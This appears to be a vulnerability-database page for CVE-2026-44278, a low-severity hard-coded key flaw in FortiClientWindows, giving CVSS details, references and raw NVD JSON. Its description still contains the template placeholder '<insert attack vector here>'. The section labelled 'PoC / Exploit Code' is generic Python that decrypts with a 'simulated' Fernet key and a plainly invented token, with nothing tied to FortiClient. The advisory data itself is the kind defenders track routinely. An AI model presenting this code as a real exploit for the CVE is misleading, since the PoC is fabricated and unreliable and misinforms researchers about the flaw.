CVE-2026-44278

Description

A use of hard-coded cryptographic key vulnerability in Fortinet FortiClientWindows 7.4.0 through 7.4.2, FortiClientWindows 7.2 all versions may allow attacker to information disclosure via <insert attack vector here>

CVSS Details

CVSS Score

2.3

Severity

LOW

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

FortiClientWindows 7.4.0 - 7.4.2

FortiClientWindows 7.2 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import base64
from cryptography.fernet import Fernet

# Simulate the hardcoded key extracted from FortiClient binary
# In a real exploit, this string is found statically within the software files
HARDCODED_KEY = b'Z5V3x1M7s9Q2k8L4p6R0w3Y5t8u1I4o0A1s2D3f4G5h='

# Initialize cipher suite with the leaked key
cipher_suite = Fernet(HARDCODED_KEY)

# Example: Encrypted configuration data found in the application's data directory
# This represents sensitive info encrypted with the vulnerable key
encrypted_config_token = b'gAAAAABlR9k2xZ5eY8w0Q1v2C3d4E5f6G7h8I9j0K1l2M3n4O5p6Q7r8S9t0U1v2w=='

try:
    # Attempt to decrypt the data using the hardcoded key
    decrypted_data = cipher_suite.decrypt(encrypted_config_token)
    print("[+] Successfully decrypted sensitive data:")
    print(decrypted_data.decode('utf-8'))
except Exception as e:
    print(f"[-] Decryption failed: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44278
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44278
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44278/
[4] VulDB https://vuldb.com/cve/CVE-2026-44278
[5] https://fortiguard.fortinet.com/psirt/FG-IR-26-129

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44278", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:30.177", "lastModified": "2026-05-12T18:57:02.307", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "A use of hard-coded cryptographic key vulnerability in Fortinet FortiClientWindows 7.4.0 through 7.4.2, FortiClientWindows 7.2 all versions may allow attacker to information disclosure via <insert attack vector here>"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 0.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-321"}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-26-129", "source": "[email protected]"}]}}